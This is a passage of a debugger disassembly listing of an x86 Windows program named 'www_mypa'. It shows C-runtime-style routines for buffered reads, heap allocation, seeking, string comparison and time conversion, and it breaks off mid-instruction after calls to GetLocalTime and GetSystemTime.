www_mypa.00403F50 00402475 85C0 TEST EAX,EAX 00402477 75 01 JNZ SHORT www_mypa.0040247A 00402479 C3 RETN 0040247A 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 0040247E 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4] 00402482 50 PUSH EAX 00402483 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00402487 50 PUSH EAX 00402488 51 PUSH ECX 00402489 52 PUSH EDX 0040248A E8 F1180000 CALL www_mypa.00403D80 0040248F 83C4 10 ADD ESP,10 00402492 C3 RETN 00402493 90 NOP 00402494 90 NOP 00402495 90 NOP 00402496 90 NOP 00402497 90 NOP 00402498 90 NOP 00402499 90 NOP 0040249A 90 NOP 0040249B 90 NOP 0040249C 90 NOP 0040249D 90 NOP 0040249E 90 NOP 0040249F 90 NOP 004024A0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 004024A4 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 004024A8 6A 40 PUSH 40 004024AA 50 PUSH EAX 004024AB 51 PUSH ECX 004024AC E8 BFFFFFFF CALL www_mypa.00402470 004024B1 83C4 0C ADD ESP,0C 004024B4 C3 RETN 004024B5 90 NOP 004024B6 90 NOP 004024B7 90 NOP 004024B8 90 NOP 004024B9 90 NOP 004024BA 90 NOP 004024BB 90 NOP 004024BC 90 NOP 004024BD 90 NOP 004024BE 90 NOP 004024BF 90 NOP 004024C0 51 PUSH ECX 004024C1 53 PUSH EBX 004024C2 55 PUSH EBP 004024C3 8B6C24 18 MOV EBP,DWORD PTR SS:[ESP+18] 004024C7 56 PUSH ESI 004024C8 0FAF6C24 18 IMUL EBP,DWORD PTR SS:[ESP+18] 004024CD 57 PUSH EDI 004024CE 8B7C24 18 MOV EDI,DWORD PTR SS:[ESP+18] 004024D2 85ED TEST EBP,EBP 004024D4 897C24 18 MOV DWORD PTR SS:[ESP+18],EDI 004024D8 896C24 10 MOV DWORD PTR SS:[ESP+10],EBP 004024DC 75 08 JNZ SHORT www_mypa.004024E6 004024DE 33C0 XOR EAX,EAX 004024E0 5F POP EDI 004024E1 5E POP ESI 004024E2 5D POP EBP 004024E3 5B POP EBX 004024E4 59 POP ECX 004024E5 C3 RETN 004024E6 8B5C24 24 MOV EBX,DWORD PTR SS:[ESP+24] 004024EA F743 0C 0C010000 TEST DWORD PTR DS:[EBX+C],10C 004024F1 74 09 JE SHORT www_mypa.004024FC 004024F3 8B73 18 MOV ESI,DWORD PTR DS:[EBX+18] 004024F6 897424 24 MOV DWORD PTR SS:[ESP+24],ESI 004024FA EB 0C JMP SHORT www_mypa.00402508 004024FC C74424 24 001000>MOV DWORD PTR SS:[ESP+24],1000 00402504 8B7424 24 MOV ESI,DWORD PTR SS:[ESP+24] 00402508 F743 0C 0C010000 TEST DWORD PTR DS:[EBX+C],10C 0040250F 74 3D JE SHORT www_mypa.0040254E 00402511 8B43 04 MOV EAX,DWORD PTR DS:[EBX+4] 00402514 85C0 TEST EAX,EAX 00402516 74 36 JE SHORT www_mypa.0040254E 00402518 3BE8 CMP EBP,EAX 0040251A 73 02 JNB SHORT www_mypa.0040251E 0040251C 8BC5 MOV EAX,EBP 0040251E 8B33 MOV ESI,DWORD PTR DS:[EBX] 00402520 8BC8 MOV ECX,EAX 00402522 8BD1 MOV EDX,ECX 00402524 2BE8 SUB EBP,EAX 00402526 C1E9 02 SHR ECX,2 00402529 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 0040252B 8BCA MOV ECX,EDX 0040252D 83E1 03 AND ECX,3 00402530 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 00402532 8B73 04 MOV ESI,DWORD PTR DS:[EBX+4] 00402535 8B13 MOV EDX,DWORD PTR DS:[EBX] 00402537 8B4C24 18 MOV ECX,DWORD PTR SS:[ESP+18] 0040253B 2BF0 SUB ESI,EAX 0040253D 03D0 ADD EDX,EAX 0040253F 03C8 ADD ECX,EAX 00402541 8973 04 MOV DWORD PTR DS:[EBX+4],ESI 00402544 8913 MOV DWORD PTR DS:[EBX],EDX 00402546 894C24 18 MOV DWORD PTR SS:[ESP+18],ECX 0040254A 8BF9 MOV EDI,ECX 0040254C EB 50 JMP SHORT www_mypa.0040259E 0040254E 3BEE CMP EBP,ESI 00402550 72 2F JB SHORT www_mypa.00402581 00402552 85F6 TEST ESI,ESI 00402554 8BC5 MOV EAX,EBP 00402556 74 08 JE SHORT www_mypa.00402560 00402558 33D2 XOR EDX,EDX 0040255A F7F6 DIV ESI 0040255C 8BC5 MOV EAX,EBP 0040255E 2BC2 SUB EAX,EDX 00402560 50 PUSH EAX 00402561 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] 00402564 57 PUSH EDI 00402565 50 PUSH EAX 00402566 E8 651B0000 CALL www_mypa.004040D0 0040256B 83C4 0C ADD ESP,0C 0040256E 85C0 TEST EAX,EAX 00402570 74 42 JE SHORT www_mypa.004025B4 00402572 83F8 FF CMP EAX,-1 00402575 74 58 JE SHORT www_mypa.004025CF 00402577 2BE8 SUB EBP,EAX 00402579 03F8 ADD EDI,EAX 0040257B 897C24 18 MOV DWORD PTR SS:[ESP+18],EDI 0040257F EB 21 JMP SHORT www_mypa.004025A2 00402581 53 PUSH EBX 00402582 E8 591A0000 CALL www_mypa.00403FE0 00402587 83C4 04 ADD ESP,4 0040258A 83F8 FF CMP EAX,-1 0040258D 74 5B JE SHORT www_mypa.004025EA 0040258F 8807 MOV BYTE PTR DS:[EDI],AL 00402591 8B4B 18 MOV ECX,DWORD PTR DS:[EBX+18] 00402594 47 INC EDI 00402595 4D DEC EBP 00402596 897C24 18 MOV DWORD PTR SS:[ESP+18],EDI 0040259A 894C24 24 MOV DWORD PTR SS:[ESP+24],ECX 0040259E 8B7424 24 MOV ESI,DWORD PTR SS:[ESP+24] 004025A2 85ED TEST EBP,EBP 004025A4 ^0F85 5EFFFFFF JNZ www_mypa.00402508 004025AA 8B4424 20 MOV EAX,DWORD PTR SS:[ESP+20] 004025AE 5F POP EDI 004025AF 5E POP ESI 004025B0 5D POP EBP 004025B1 5B POP EBX 004025B2 59 POP ECX 004025B3 C3 RETN 004025B4 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] 004025B7 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004025BB 83CA 10 OR EDX,10 004025BE 2BC5 SUB EAX,EBP 004025C0 8953 0C MOV DWORD PTR DS:[EBX+C],EDX 004025C3 33D2 XOR EDX,EDX 004025C5 F77424 1C DIV DWORD PTR SS:[ESP+1C] 004025C9 5F POP EDI 004025CA 5E POP ESI 004025CB 5D POP EBP 004025CC 5B POP EBX 004025CD 59 POP ECX 004025CE C3 RETN 004025CF 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] 004025D2 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004025D6 83CA 20 OR EDX,20 004025D9 2BC5 SUB EAX,EBP 004025DB 8953 0C MOV DWORD PTR DS:[EBX+C],EDX 004025DE 33D2 XOR EDX,EDX 004025E0 F77424 1C DIV DWORD PTR SS:[ESP+1C] 004025E4 5F POP EDI 004025E5 5E POP ESI 004025E6 5D POP EBP 004025E7 5B POP EBX 004025E8 59 POP ECX 004025E9 C3 RETN 004025EA 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004025EE 33D2 XOR EDX,EDX 004025F0 2BC5 SUB EAX,EBP 004025F2 F77424 1C DIV DWORD PTR SS:[ESP+1C] 004025F6 5F POP EDI 004025F7 5E POP ESI 004025F8 5D POP EBP 004025F9 5B POP EBX 004025FA 59 POP ECX 004025FB C3 RETN 004025FC 90 NOP 004025FD 90 NOP 004025FE 90 NOP 004025FF 90 NOP 00402600 A1 40074100 MOV EAX,DWORD PTR DS:[410740] 00402605 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402609 50 PUSH EAX 0040260A 51 PUSH ECX 0040260B E8 10000000 CALL www_mypa.00402620 00402610 83C4 08 ADD ESP,8 00402613 C3 RETN 00402614 90 NOP 00402615 90 NOP 00402616 90 NOP 00402617 90 NOP 00402618 90 NOP 00402619 90 NOP 0040261A 90 NOP 0040261B 90 NOP 0040261C 90 NOP 0040261D 90 NOP 0040261E 90 NOP 0040261F 90 NOP 00402620 56 PUSH ESI 00402621 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 00402625 83FE E0 CMP ESI,-20 00402628 57 PUSH EDI 00402629 77 34 JA SHORT www_mypa.0040265F 0040262B 85F6 TEST ESI,ESI 0040262D 75 05 JNZ SHORT www_mypa.00402634 0040262F BE 01000000 MOV ESI,1 00402634 8B7C24 10 MOV EDI,DWORD PTR SS:[ESP+10] 00402638 83FE E0 CMP ESI,-20 0040263B 77 0B JA SHORT www_mypa.00402648 0040263D 56 PUSH ESI 0040263E E8 2D000000 CALL www_mypa.00402670 00402643 83C4 04 ADD ESP,4 00402646 EB 02 JMP SHORT www_mypa.0040264A 00402648 33C0 XOR EAX,EAX 0040264A 85C0 TEST EAX,EAX 0040264C 75 13 JNZ SHORT www_mypa.00402661 0040264E 85FF TEST EDI,EDI 00402650 74 0F JE SHORT www_mypa.00402661 00402652 56 PUSH ESI 00402653 E8 D81C0000 CALL www_mypa.00404330 00402658 83C4 04 ADD ESP,4 0040265B 85C0 TEST EAX,EAX 0040265D ^75 D9 JNZ SHORT www_mypa.00402638 0040265F 33C0 XOR EAX,EAX 00402661 5F POP EDI 00402662 5E POP ESI 00402663 C3 RETN 00402664 90 NOP 00402665 90 NOP 00402666 90 NOP 00402667 90 NOP 00402668 90 NOP 00402669 90 NOP 0040266A 90 NOP 0040266B 90 NOP 0040266C 90 NOP 0040266D 90 NOP 0040266E 90 NOP 0040266F 90 NOP 00402670 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00402674 56 PUSH ESI 00402675 8D70 0F LEA ESI,DWORD PTR DS:[EAX+F] 00402678 A1 F4EB4000 MOV EAX,DWORD PTR DS:[40EBF4] 0040267D 83E6 F0 AND ESI,FFFFFFF0 00402680 3BF0 CMP ESI,EAX 00402682 77 12 JA SHORT www_mypa.00402696 00402684 8BCE MOV ECX,ESI 00402686 C1E9 04 SHR ECX,4 00402689 51 PUSH ECX 0040268A E8 61200000 CALL www_mypa.004046F0 0040268F 83C4 04 ADD ESP,4 00402692 85C0 TEST EAX,EAX 00402694 75 10 JNZ SHORT www_mypa.004026A6 00402696 8B15 E41B4100 MOV EDX,DWORD PTR DS:[411BE4] 0040269C 56 PUSH ESI 0040269D 6A 00 PUSH 0 0040269F 52 PUSH EDX 004026A0 FF15 E4214100 CALL DWORD PTR DS:[4121E4] ; ntdll.RtlAllocateHeap 004026A6 5E POP ESI 004026A7 C3 RETN 004026A8 90 NOP 004026A9 90 NOP 004026AA 90 NOP 004026AB 90 NOP 004026AC 90 NOP 004026AD 90 NOP 004026AE 90 NOP 004026AF 90 NOP 004026B0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 004026B4 50 PUSH EAX 004026B5 E8 C6240000 CALL www_mypa.00404B80 004026BA 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] 004026BE 83C4 04 ADD ESP,4 004026C1 8901 MOV DWORD PTR DS:[ECX],EAX 004026C3 8951 04 MOV DWORD PTR DS:[ECX+4],EDX 004026C6 8B11 MOV EDX,DWORD PTR DS:[ECX] 004026C8 8B41 04 MOV EAX,DWORD PTR DS:[ECX+4] 004026CB 23D0 AND EDX,EAX 004026CD 83FA FF CMP EDX,-1 004026D0 74 03 JE SHORT www_mypa.004026D5 004026D2 33C0 XOR EAX,EAX 004026D4 C3 RETN 004026D5 83C8 FF OR EAX,FFFFFFFF 004026D8 C3 RETN 004026D9 90 NOP 004026DA 90 NOP 004026DB 90 NOP 004026DC 90 NOP 004026DD 90 NOP 004026DE 90 NOP 004026DF 90 NOP 004026E0 56 PUSH ESI 004026E1 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 004026E5 57 PUSH EDI 004026E6 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 004026E9 A8 83 TEST AL,83 004026EB 74 79 JE SHORT www_mypa.00402766 004026ED 8B7C24 14 MOV EDI,DWORD PTR SS:[ESP+14] 004026F1 85FF TEST EDI,EDI 004026F3 74 0A JE SHORT www_mypa.004026FF 004026F5 83FF 01 CMP EDI,1 004026F8 74 05 JE SHORT www_mypa.004026FF 004026FA 83FF 02 CMP EDI,2 004026FD 75 67 JNZ SHORT www_mypa.00402766 004026FF 24 EF AND AL,0EF 00402701 83FF 01 CMP EDI,1 00402704 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00402707 75 15 JNZ SHORT www_mypa.0040271E 00402709 56 PUSH ESI 0040270A E8 21270000 CALL www_mypa.00404E30 0040270F 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 00402713 83C4 04 ADD ESP,4 00402716 03C8 ADD ECX,EAX 00402718 33FF XOR EDI,EDI 0040271A 894C24 10 MOV DWORD PTR SS:[ESP+10],ECX 0040271E 56 PUSH ESI 0040271F E8 0C120000 CALL www_mypa.00403930 00402724 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 00402727 83C4 04 ADD ESP,4 0040272A A8 80 TEST AL,80 0040272C 74 07 JE SHORT www_mypa.00402735 0040272E 24 FC AND AL,0FC 00402730 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00402733 EB 14 JMP SHORT www_mypa.00402749 00402735 A8 01 TEST AL,1 00402737 74 10 JE SHORT www_mypa.00402749 00402739 A8 08 TEST AL,8 0040273B 74 0C JE SHORT www_mypa.00402749 0040273D F6C4 04 TEST AH,4 00402740 75 07 JNZ SHORT www_mypa.00402749 00402742 C746 18 00020000 MOV DWORD PTR DS:[ESI+18],200 00402749 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 0040274D 8B4E 10 MOV ECX,DWORD PTR DS:[ESI+10] 00402750 57 PUSH EDI 00402751 50 PUSH EAX 00402752 51 PUSH ECX 00402753 E8 18260000 CALL www_mypa.00404D70 00402758 83C4 0C ADD ESP,0C 0040275B 40 INC EAX 0040275C F7D8 NEG EAX 0040275E 1BC0 SBB EAX,EAX 00402760 F7D8 NEG EAX 00402762 48 DEC EAX 00402763 5F POP EDI 00402764 5E POP ESI 00402765 C3 RETN 00402766 5F POP EDI 00402767 C705 E8064100 16>MOV DWORD PTR DS:[4106E8],16 00402771 83C8 FF OR EAX,FFFFFFFF 00402774 5E POP ESI 00402775 C3 RETN 00402776 90 NOP 00402777 90 NOP 00402778 90 NOP 00402779 90 NOP 0040277A 90 NOP 0040277B 90 NOP 0040277C 90 NOP 0040277D 90 NOP 0040277E 90 NOP 0040277F 90 NOP 00402780 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4] 00402784 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 00402788 F7C2 03000000 TEST EDX,3 0040278E 75 3C JNZ SHORT www_mypa.004027CC 00402790 8B02 MOV EAX,DWORD PTR DS:[EDX] 00402792 3A01 CMP AL,BYTE PTR DS:[ECX] 00402794 75 2E JNZ SHORT www_mypa.004027C4 00402796 0AC0 OR AL,AL 00402798 74 26 JE SHORT www_mypa.004027C0 0040279A 3A61 01 CMP AH,BYTE PTR DS:[ECX+1] 0040279D 75 25 JNZ SHORT www_mypa.004027C4 0040279F 0AE4 OR AH,AH 004027A1 74 1D JE SHORT www_mypa.004027C0 004027A3 C1E8 10 SHR EAX,10 004027A6 3A41 02 CMP AL,BYTE PTR DS:[ECX+2] 004027A9 75 19 JNZ SHORT www_mypa.004027C4 004027AB 0AC0 OR AL,AL 004027AD 74 11 JE SHORT www_mypa.004027C0 004027AF 3A61 03 CMP AH,BYTE PTR DS:[ECX+3] 004027B2 75 10 JNZ SHORT www_mypa.004027C4 004027B4 83C1 04 ADD ECX,4 004027B7 83C2 04 ADD EDX,4 004027BA 0AE4 OR AH,AH 004027BC ^75 D2 JNZ SHORT www_mypa.00402790 004027BE 8BC0 MOV EAX,EAX 004027C0 33C0 XOR EAX,EAX 004027C2 C3 RETN 004027C3 90 NOP 004027C4 1BC0 SBB EAX,EAX 004027C6 D1E0 SHL EAX,1 004027C8 40 INC EAX 004027C9 C3 RETN 004027CA 8BC0 MOV EAX,EAX 004027CC F7C2 01000000 TEST EDX,1 004027D2 74 14 JE SHORT www_mypa.004027E8 004027D4 8A02 MOV AL,BYTE PTR DS:[EDX] 004027D6 42 INC EDX 004027D7 3A01 CMP AL,BYTE PTR DS:[ECX] 004027D9 ^75 E9 JNZ SHORT www_mypa.004027C4 004027DB 41 INC ECX 004027DC 0AC0 OR AL,AL 004027DE ^74 E0 JE SHORT www_mypa.004027C0 004027E0 F7C2 02000000 TEST EDX,2 004027E6 ^74 A8 JE SHORT www_mypa.00402790 004027E8 66:8B02 MOV AX,WORD PTR DS:[EDX] 004027EB 83C2 02 ADD EDX,2 004027EE 3A01 CMP AL,BYTE PTR DS:[ECX] 004027F0 ^75 D2 JNZ SHORT www_mypa.004027C4 004027F2 0AC0 OR AL,AL 004027F4 ^74 CA JE SHORT www_mypa.004027C0 004027F6 3A61 01 CMP AH,BYTE PTR DS:[ECX+1] 004027F9 ^75 C9 JNZ SHORT www_mypa.004027C4 004027FB 0AE4 OR AH,AH 004027FD ^74 C1 JE SHORT www_mypa.004027C0 004027FF 83C1 02 ADD ECX,2 00402802 ^EB 8C JMP SHORT www_mypa.00402790 00402804 CC INT3 00402805 CC INT3 00402806 CC INT3 00402807 CC INT3 00402808 CC INT3 00402809 CC INT3 0040280A CC INT3 0040280B CC INT3 0040280C CC INT3 0040280D CC INT3 0040280E CC INT3 0040280F CC INT3 00402810 83EC 20 SUB ESP,20 00402813 8B4424 24 MOV EAX,DWORD PTR SS:[ESP+24] 00402817 8B5424 2C MOV EDX,DWORD PTR SS:[ESP+2C] 0040281B 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 0040281F 894424 00 MOV DWORD PTR SS:[ESP],EAX 00402823 8B4424 28 MOV EAX,DWORD PTR SS:[ESP+28] 00402827 8D4C24 30 LEA ECX,DWORD PTR SS:[ESP+30] 0040282B 56 PUSH ESI 0040282C 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 00402830 51 PUSH ECX 00402831 8D4424 08 LEA EAX,DWORD PTR SS:[ESP+8] 00402835 52 PUSH EDX 00402836 50 PUSH EAX 00402837 C74424 1C 420000>MOV DWORD PTR SS:[ESP+1C],42 0040283F E8 9C270000 CALL www_mypa.00404FE0 00402844 8BF0 MOV ESI,EAX 00402846 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 0040284A 83C4 0C ADD ESP,0C 0040284D 48 DEC EAX 0040284E 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 00402852 78 0E JS SHORT www_mypa.00402862 00402854 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402858 8BC6 MOV EAX,ESI 0040285A C601 00 MOV BYTE PTR DS:[ECX],0 0040285D 5E POP ESI 0040285E 83C4 20 ADD ESP,20 00402861 C3 RETN 00402862 8D5424 04 LEA EDX,DWORD PTR SS:[ESP+4] 00402866 52 PUSH EDX 00402867 6A 00 PUSH 0 00402869 E8 C2110000 CALL www_mypa.00403A30 0040286E 83C4 08 ADD ESP,8 00402871 8BC6 MOV EAX,ESI 00402873 5E POP ESI 00402874 83C4 20 ADD ESP,20 00402877 C3 RETN 00402878 90 NOP 00402879 90 NOP 0040287A 90 NOP 0040287B 90 NOP 0040287C 90 NOP 0040287D 90 NOP 0040287E 90 NOP 0040287F 90 NOP 00402880 56 PUSH ESI 00402881 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 00402885 833E 00 CMP DWORD PTR DS:[ESI],0 00402888 7D 04 JGE SHORT www_mypa.0040288E 0040288A 33C0 XOR EAX,EAX 0040288C 5E POP ESI 0040288D C3 RETN 0040288E E8 0D320000 CALL www_mypa.00405AA0 00402893 8B06 MOV EAX,DWORD PTR DS:[ESI] 00402895 3D 80F40300 CMP EAX,3F480 0040289A 7E 66 JLE SHORT www_mypa.00402902 0040289C 3D 7F0BFC7F CMP EAX,7FFC0B7F 004028A1 7D 5F JGE SHORT www_mypa.00402902 004028A3 2B05 00EC4000 SUB EAX,DWORD PTR DS:[40EC00] 004028A9 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 004028AD 8D4424 08 LEA EAX,DWORD PTR SS:[ESP+8] 004028B1 50 PUSH EAX 004028B2 E8 C9380000 CALL www_mypa.00406180 004028B7 8BF0 MOV ESI,EAX 004028B9 A1 04EC4000 MOV EAX,DWORD PTR DS:[40EC04] 004028BE 83C4 04 ADD ESP,4 004028C1 85C0 TEST EAX,EAX 004028C3 0F84 99010000 JE www_mypa.00402A62 004028C9 56 PUSH ESI 004028CA E8 A1340000 CALL www_mypa.00405D70 004028CF 83C4 04 ADD ESP,4 004028D2 85C0 TEST EAX,EAX 004028D4 0F84 88010000 JE www_mypa.00402A62 004028DA 8B0D 08EC4000 MOV ECX,DWORD PTR DS:[40EC08] 004028E0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 004028E4 8D5424 08 LEA EDX,DWORD PTR SS:[ESP+8] 004028E8 2BC1 SUB EAX,ECX 004028EA 52 PUSH EDX 004028EB 894424 0C MOV DWORD PTR SS:[ESP+C],EAX 004028EF E8 8C380000 CALL www_mypa.00406180 004028F4 8BF0 MOV ESI,EAX 004028F6 83C4 04 ADD ESP,4 004028F9 C746 20 01000000 MOV DWORD PTR DS:[ESI+20],1 00402900 5E POP ESI 00402901 C3 RETN 00402902 56 PUSH ESI 00402903 E8 78380000 CALL www_mypa.00406180 00402908 83C4 04 ADD ESP,4 0040290B 8BF0 MOV ESI,EAX 0040290D 56 PUSH ESI 0040290E E8 5D340000 CALL www_mypa.00405D70 00402913 83C4 04 ADD ESP,4 00402916 85C0 TEST EAX,EAX 00402918 8B06 MOV EAX,DWORD PTR DS:[ESI] 0040291A 74 06 JE SHORT www_mypa.00402922 0040291C 2B05 08EC4000 SUB EAX,DWORD PTR DS:[40EC08] 00402922 8B0D 00EC4000 MOV ECX,DWORD PTR DS:[40EC00] 00402928 2BC1 SUB EAX,ECX 0040292A B9 3C000000 MOV ECX,3C 0040292F 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 00402933 99 CDQ 00402934 F7F9 IDIV ECX 00402936 85D2 TEST EDX,EDX 00402938 8916 MOV DWORD PTR DS:[ESI],EDX 0040293A 7D 0E JGE SHORT www_mypa.0040294A 0040293C 03D1 ADD EDX,ECX 0040293E 8916 MOV DWORD PTR DS:[ESI],EDX 00402940 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00402944 2BC1 SUB EAX,ECX 00402946 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 0040294A 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 0040294E B8 89888888 MOV EAX,88888889 00402953 F7E9 IMUL ECX 00402955 03D1 ADD EDX,ECX 00402957 8B4E 04 MOV ECX,DWORD PTR DS:[ESI+4] 0040295A C1FA 05 SAR EDX,5 0040295D 8BC2 MOV EAX,EDX 0040295F C1E8 1F SHR EAX,1F 00402962 03D0 ADD EDX,EAX 00402964 03D1 ADD EDX,ECX 00402966 B9 3C000000 MOV ECX,3C 0040296B 8BC2 MOV EAX,EDX 0040296D 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 00402971 99 CDQ 00402972 F7F9 IDIV ECX 00402974 85D2 TEST EDX,EDX 00402976 8956 04 MOV DWORD PTR DS:[ESI+4],EDX 00402979 7D 0F JGE SHORT www_mypa.0040298A 0040297B 03D1 ADD EDX,ECX 0040297D 8956 04 MOV DWORD PTR DS:[ESI+4],EDX 00402980 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00402984 2BC1 SUB EAX,ECX 00402986 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 0040298A 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 0040298E B8 89888888 MOV EAX,88888889 00402993 F7E9 IMUL ECX 00402995 03D1 ADD EDX,ECX 00402997 8B4E 08 MOV ECX,DWORD PTR DS:[ESI+8] 0040299A C1FA 05 SAR EDX,5 0040299D 8BC2 MOV EAX,EDX 0040299F C1E8 1F SHR EAX,1F 004029A2 03D0 ADD EDX,EAX 004029A4 03D1 ADD EDX,ECX 004029A6 B9 18000000 MOV ECX,18 004029AB 8BC2 MOV EAX,EDX 004029AD 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 004029B1 99 CDQ 004029B2 F7F9 IDIV ECX 004029B4 85D2 TEST EDX,EDX 004029B6 8956 08 MOV DWORD PTR DS:[ESI+8],EDX 004029B9 7D 0F JGE SHORT www_mypa.004029CA 004029BB 03D1 ADD EDX,ECX 004029BD 8956 08 MOV DWORD PTR DS:[ESI+8],EDX 004029C0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 004029C4 2BC1 SUB EAX,ECX 004029C6 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 004029CA B8 ABAAAA2A MOV EAX,2AAAAAAB 004029CF F76C24 08 IMUL DWORD PTR SS:[ESP+8] 004029D3 C1FA 02 SAR EDX,2 004029D6 8BC2 MOV EAX,EDX 004029D8 C1E8 1F SHR EAX,1F 004029DB 03D0 ADD EDX,EAX 004029DD 8BC2 MOV EAX,EDX 004029DF 85C0 TEST EAX,EAX 004029E1 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 004029E5 7E 2C JLE SHORT www_mypa.00402A13 004029E7 8B4E 18 MOV ECX,DWORD PTR DS:[ESI+18] 004029EA 03C1 ADD EAX,ECX 004029EC B9 07000000 MOV ECX,7 004029F1 99 CDQ 004029F2 F7F9 IDIV ECX 004029F4 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 004029F7 8B4E 1C MOV ECX,DWORD PTR DS:[ESI+1C] 004029FA 8956 18 MOV DWORD PTR DS:[ESI+18],EDX 004029FD 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8] 00402A01 03C2 ADD EAX,EDX 00402A03 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00402A06 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00402A0A 03C8 ADD ECX,EAX 00402A0C 8BC6 MOV EAX,ESI 00402A0E 894E 1C MOV DWORD PTR DS:[ESI+1C],ECX 00402A11 5E POP ESI 00402A12 C3 RETN 00402A13 7D 4D JGE SHORT www_mypa.00402A62 00402A15 8B4E 18 MOV ECX,DWORD PTR DS:[ESI+18] 00402A18 8D4408 07 LEA EAX,DWORD PTR DS:[EAX+ECX+7] 00402A1C B9 07000000 MOV ECX,7 00402A21 99 CDQ 00402A22 F7F9 IDIV ECX 00402A24 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 00402A27 8956 18 MOV DWORD PTR DS:[ESI+18],EDX 00402A2A 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8] 00402A2E 03C2 ADD EAX,EDX 00402A30 85C0 TEST EAX,EAX 00402A32 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00402A35 7F 1F JG SHORT www_mypa.00402A56 00402A37 83C0 1F ADD EAX,1F 00402A3A C746 1C 6C010000 MOV DWORD PTR DS:[ESI+1C],16C 00402A41 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00402A44 8B46 14 MOV EAX,DWORD PTR DS:[ESI+14] 00402A47 48 DEC EAX 00402A48 C746 10 0B000000 MOV DWORD PTR DS:[ESI+10],0B 00402A4F 8946 14 MOV DWORD PTR DS:[ESI+14],EAX 00402A52 8BC6 MOV EAX,ESI 00402A54 5E POP ESI 00402A55 C3 RETN 00402A56 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00402A5A 8B4E 1C MOV ECX,DWORD PTR DS:[ESI+1C] 00402A5D 03C8 ADD ECX,EAX 00402A5F 894E 1C MOV DWORD PTR DS:[ESI+1C],ECX 00402A62 8BC6 MOV EAX,ESI 00402A64 5E POP ESI 00402A65 C3 RETN 00402A66 90 NOP 00402A67 90 NOP 00402A68 90 NOP 00402A69 90 NOP 00402A6A 90 NOP 00402A6B 90 NOP 00402A6C 90 NOP 00402A6D 90 NOP 00402A6E 90 NOP 00402A6F 90 NOP 00402A70 81EC CC000000 SUB ESP,0CC 00402A76 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10] 00402A7A 50 PUSH EAX 00402A7B FF15 F0214100 CALL DWORD PTR DS:[4121F0] ; kernel32.GetLocalTime 00402A81 8D4C24 00 LEA ECX,DWORD PTR SS:[ESP] 00402A85 51 PUSH ECX 00402A86 FF15 EC214100 CALL DWORD PTR DS:[4121EC] ; kernel32.GetSystemTime 00402A8C 66:8B5424 0A MOV DX,WORD PTR SS:[ESP+A] 00402A91 66:3B15 E2064100 CMP DX,WORD PTR DS:[4106E2] 00402A98 75 3F JNZ SHORT www_mypa.00402AD9 00402A9A 66:8B4424 08 MOV AX,WORD PTR SS:[ESP+8] 00402A9F 66:3B05 E0064100 CMP AX,WORD PTR DS:[4106E0] 00402AA6 75 31 JNZ SHORT www_mypa.00402AD9 00402AA8 66:8B4C24 06 MOV CX,WORD PTR SS:[ESP+6] 00402AAD 66:3B0D DE064100 CMP CX,WORD PTR DS:[4106DE] 00402AB4 75 23 JNZ SHORT www_mypa.00402AD9 00402AB6 66:8B5424 02 MOV DX,WORD PTR SS:[ESP+2] 00402ABB 66:3B15 DA064100 CMP DX,WORD PTR DS:[4106DA] 00402AC2 75 15 JNZ SHORT www_mypa.00402AD9 00402AC4 66:8B4424 00 MOV AX,WORD PTR SS:[ESP] 00402AC9 66:3B05 D8064100 CMP AX,WORD PTR DS:[4106D8] 00402AD0 